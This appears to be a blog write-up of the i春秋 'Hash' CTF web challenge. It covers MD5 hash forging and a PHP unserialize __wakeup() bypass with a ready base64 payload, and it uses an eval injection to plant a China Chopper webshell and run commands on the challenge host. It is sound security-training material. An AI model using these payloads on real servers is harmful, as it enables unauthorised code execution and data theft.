1. 程式人生 > 實用技巧 >CTF-i春秋-Web-Hash

CTF-i春秋-Web-Hash

2020.09.17

哈哈,我又來了 i春秋

做題

Hash

  1. 開啟連結,出現一個超連結,點進去,原始碼中出現線索you are 123;if you are not 123,you can get the flag<br><!--$hash=md5($sign.$key);the length of $sign is 8
  2. 思路很簡單,url是由key和hash組成,hash值是取自sign+key,我們現在知道key是123,對已知的hash進行破解,得到kkkkkk01123,所以sign是kkkkkk01
  3. 那麼我們構造key=admin,再取kkkkkk01admin的md5為049f601185c0846faac45065a834b1c5
    ,新的payload./index.php?key=admin&hash=049f601185c0846faac45065a834b1c5 ,OK,結果如下next step is Gu3ss_m3_h2h2.php

  4. 直接訪問就可,接下來就是原始碼分析
 <?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?> 
  1. 從程式碼我們可以看到,傳入var值,先進行過濾,然後反序列化,對我比較有用的wp,這裡利用的就是反序列化時,修改序列化個數來對__wakeup()方法進行繞過,通過如下php可以構造payload
<?php
//類定義
class Demo {
            private $file = 'Gu3ss_m3_h2h2.php';

            public function __construct($file) {
                $this->file = $file;
            }
            function __destruct() {
                echo @highlight_file($this->file, true);
            }
            function __wakeup() {
                if ($this->file != 'Gu3ss_m3_h2h2.php') {
                    //the secret is in the f15g_1s_here.php
                    $this->file = 'Gu3ss_m3_h2h2.php';
                }
            }
}
//新建類
$a = new Demo('f15g_1s_here.php');
// $a = new Demo('True_F1ag_i3_Here_233.php');
//序列化
$s = serialize($a);
//替換類開頭如果匹配
$s = str_replace('O:4:','O:+4:',$s);
//替換類數量繞過__wakeup()函式
$s = str_replace(':1:',':2:',$s);
//base64加密並輸出
echo base64_encode($s);

可得構造的payload Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

  1. 然後就得到f15g_1s_here.php檔案原始碼,再次分析,這裡利用的是eval語句,思路是通過eval獲取儲存flag的檔案,這裡有多種方法
    • 構造出POST的傳入點,用菜刀連線主機後拿flag,payload: http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}
    • GET方法的利用,payload: http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo ls;
    • 獲取到真正的檔案是True_F1ag_i3_Here_233.php,再利用第5步中的方法構造payload,輸出flag
 <?php
if (isset($_GET['val'])) {
    $val = $_GET['val'];
    eval('$value="' . addslashes($val) . '";'); //對一些符號進行轉義,所以不能輸入引號等符號
} else {
    die('hahaha!');
}

?> 

經驗教訓

  1. 序列化與反序列化用@serialize($var)和 @unserialize($var);
  2. 反序列化的時候,如果有__wakeup()方法,會先執行他,最後執行__destruct()方法;
  3. 序列化的結果一般是O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}這種形式,{之前的是被序列化的個數,如果他的值大於真正的個數,那麼__wakeup()方法將被繞過;
  4. 我可以在vscode中建立php檔案,並且可以通過終端php decry.php來執行他,可以用這種方法來得到一些需要php中方法計算的payload;
  5. /[oc]:\d+:/i這個正則,匹配o:4,可以用o:+4來繞過
  6. addslashes()會對單雙引號、反斜槓、NULL進行轉義,eval('$value="' . addslashes($val) . '";');可以用val=${eval($_GET[a])}&a=echo ls;來繞過